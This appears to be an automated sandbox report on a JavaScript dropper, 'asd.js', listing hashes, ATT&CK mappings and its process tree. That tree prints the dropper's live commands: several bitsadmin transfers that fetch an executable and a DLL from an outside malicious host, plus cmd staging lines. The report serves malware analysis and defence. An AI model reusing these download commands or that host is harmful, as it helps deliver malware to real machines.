d303a6fa94d9e755b2724e61940c9855550767fe2cbce850be0af9fb2745f59d

Analysis

max time kernel
121s
max time network
124s
platform
windows7_x64
resource
win7-20231025-en
resource tags

arch:x64arch:x86image:win7-20231025-enlocale:en-usos:windows7-x64system
submitted
22/11/2023, 15:12

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

asd.js
Size

9KB
MD5

422c42c5de0302f8297b4fb15e33f00d
SHA1

3e58421fef036bc38e6354b16db1616278a79cf9
SHA256

d303a6fa94d9e755b2724e61940c9855550767fe2cbce850be0af9fb2745f59d
SHA512

5623b64eb2cbc2457094348b23ae8b6c3c1edc97fac4d71b4793385620258549257dbc476f2e3eec60e5a5f3a244a45b619ab39b5ce0b43c8d5ec26c2dc48bba
SSDEEP

96:fFmCWEI5f7mxRgHw9Aqd8p8wrwzWk1fjnCafs:fFJWf9tHw9jW8wrXk1fjjfs

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Download via BitsAdmin 1 TTPs 6 IoCs

dropper

BITS Jobs

T1197

pid	Process
2788	bitsadmin.exe
2944	bitsadmin.exe
3064	bitsadmin.exe
2524	bitsadmin.exe
1096	bitsadmin.exe
1736	bitsadmin.exe

Suspicious use of WriteProcessMemory 30 IoCs

description	pid	Process	procid_target
PID 2136 wrote to memory of 2080	2136	wscript.exe	29
PID 2136 wrote to memory of 2080	2136	wscript.exe	29
PID 2136 wrote to memory of 2080	2136	wscript.exe	29
PID 2136 wrote to memory of 2644	2136	wscript.exe	30
PID 2136 wrote to memory of 2644	2136	wscript.exe	30
PID 2136 wrote to memory of 2644	2136	wscript.exe	30
PID 2136 wrote to memory of 2788	2136	wscript.exe	32
PID 2136 wrote to memory of 2788	2136	wscript.exe	32
PID 2136 wrote to memory of 2788	2136	wscript.exe	32
PID 2136 wrote to memory of 2944	2136	wscript.exe	34
PID 2136 wrote to memory of 2944	2136	wscript.exe	34
PID 2136 wrote to memory of 2944	2136	wscript.exe	34
PID 2136 wrote to memory of 3064	2136	wscript.exe	36
PID 2136 wrote to memory of 3064	2136	wscript.exe	36
PID 2136 wrote to memory of 3064	2136	wscript.exe	36
PID 2136 wrote to memory of 2524	2136	wscript.exe	38
PID 2136 wrote to memory of 2524	2136	wscript.exe	38
PID 2136 wrote to memory of 2524	2136	wscript.exe	38
PID 2136 wrote to memory of 1096	2136	wscript.exe	40
PID 2136 wrote to memory of 1096	2136	wscript.exe	40
PID 2136 wrote to memory of 1096	2136	wscript.exe	40
PID 2136 wrote to memory of 1736	2136	wscript.exe	42
PID 2136 wrote to memory of 1736	2136	wscript.exe	42
PID 2136 wrote to memory of 1736	2136	wscript.exe	42
PID 2136 wrote to memory of 1612	2136	wscript.exe	44
PID 2136 wrote to memory of 1612	2136	wscript.exe	44
PID 2136 wrote to memory of 1612	2136	wscript.exe	44
PID 2136 wrote to memory of 1628	2136	wscript.exe	46
PID 2136 wrote to memory of 1628	2136	wscript.exe	46
PID 2136 wrote to memory of 1628	2136	wscript.exe	46

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\asd.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2136
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /V /C "echo C:\TempData71862490209\>C:\Users\Public\Libraries\ex"&& exit
  2⤵
  PID:2080
- C:\Windows\System32\bitsadmin.exe
  "C:\Windows\System32\bitsadmin.exe" /reset
  2⤵
  PID:2644
- C:\Windows\System32\bitsadmin.exe
  "C:\Windows\System32\bitsadmin.exe" /transfer 67022686122 /priority foreground http://tpoi5i.cargadorepteis.sa.com/?47393640830628749 "C:\TempData71862490209\Kingston.QNAP.06636.6530.247.exe"
  2⤵
  - Download via BitsAdmin
  PID:2788
- C:\Windows\System32\bitsadmin.exe
  "C:\Windows\System32\bitsadmin.exe" /transfer 67022686122 /priority foreground http://tpoi5i.cargadorepteis.sa.com/?47362602242632968 "C:\TempData71862490209\Kingston.QNAP.06636.6530.247.log"
  2⤵
  - Download via BitsAdmin
  PID:2944
- C:\Windows\System32\bitsadmin.exe
  "C:\Windows\System32\bitsadmin.exe" /transfer 67022686122 /priority foreground http://tpoi5i.cargadorepteis.sa.com/?34297230365639081 "C:\TempData71862490209\Kingston.QNAP.06636.6530.247dbl.log"
  2⤵
  - Download via BitsAdmin
  PID:3064
- C:\Windows\System32\bitsadmin.exe
  "C:\Windows\System32\bitsadmin.exe" /transfer 67022686122 /priority foreground http://tpoi5i.cargadorepteis.sa.com/?61043668849678084 "C:\TempData71862490209\sqlite3.dll"
  2⤵
  - Download via BitsAdmin
  PID:2524
- C:\Windows\System32\bitsadmin.exe
  "C:\Windows\System32\bitsadmin.exe" /transfer 67022686122 /priority foreground http://tpoi5i.cargadorepteis.sa.com/?50998200058693680 "C:\TempData71862490209\sdk.log"
  2⤵
  - Download via BitsAdmin
  PID:1096
- C:\Windows\System32\bitsadmin.exe
  "C:\Windows\System32\bitsadmin.exe" /transfer 67022686122 /priority foreground http://tpoi5i.cargadorepteis.sa.com/?53154035552613947 "C:\TempData71862490209\dump.log"
  2⤵
  - Download via BitsAdmin
  PID:1736
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /V /C "echo Kingston.QNAP.06636.6530.247>C:\TempData71862490209\\r2.log"&& exit
  2⤵
  PID:1612
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /V /C "echo Kingston.QNAP.06636.6530.247>C:\TempData71862490209\\r.log"&& exit
  2⤵
  PID:1628

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

BITS Jobs

T1197

Privilege Escalation

Defense Evasion

BITS Jobs

T1197

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads